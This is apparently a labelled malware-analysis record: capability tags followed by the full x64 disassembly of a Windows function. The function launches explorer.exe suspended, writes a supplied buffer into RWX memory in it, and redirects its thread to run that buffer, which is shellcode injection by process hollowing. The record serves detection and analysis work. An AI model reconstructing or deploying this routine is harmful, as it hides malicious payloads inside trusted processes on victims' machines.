Function at 0x26c011370
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
sub rsp, 0x5d8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x570], rcx
mov dword [rbp + 0x578], edx
lea rax, [rbp + 0x4e0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x4e0], 0x68
lea rax, [rbp + 0x4c0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
movabs rax, 0x6f646e69575c3a43
movabs rdx, 0x6f6c7078655c7377
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x6578652e726572
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x4c0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x4e0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x26c01148d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
mov r8d, ebx
lea rax, str.CreateProcessA_failed___d_._n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
jmp 0x26c0117c0
mov edx, dword [rbp + 0x578]
mov rax, qword [rbp + 0x4c0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x548], rax
cmp qword [rbp + 0x548], 0
jne 0x26c011526
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
mov r8d, ebx
lea rax, str.VirtualAllocEx_failed__Error:__d_n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x26c0117c0
mov r8d, dword [rbp + 0x578]
mov rax, qword [rbp + 0x4c0]
mov rcx, qword [rbp + 0x570]
mov rdx, qword [rbp + 0x548]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x26c0115d7
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.WriteProcessMemory_failed__Exiting..._n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0x4c0]
mov rdx, qword [rbp + 0x548]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x26c0117c0
mov dword [rbp + 0x20], 0x10000b
mov rax, qword [rbp + 0x4c8]
lea rdx, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
sete al
test al, al
je 0x26c01166f
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.GetThreadContext_failed__Exiting..._n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0x4c0]
mov rdx, qword [rbp + 0x548]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x26c0117c0
mov rax, qword [rbp + 0x548]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x4c8]
lea rdx, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
test eax, eax
sete al
test al, al
je 0x26c01170e
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.SetThreadContext_failed__Exiting..._n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0x4c0]
mov rdx, qword [rbp + 0x548]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x26c0117c0
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x26c011799
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Failed_to_resume_thread._Exiting..._n
mov rdx, rax
call sym.fprintf__iobuf__char_const__::_
mov rax, qword [rbp + 0x4c0]
mov rdx, qword [rbp + 0x548]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x26c0117c0
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x5d8
pop rbx
pop rbp
ret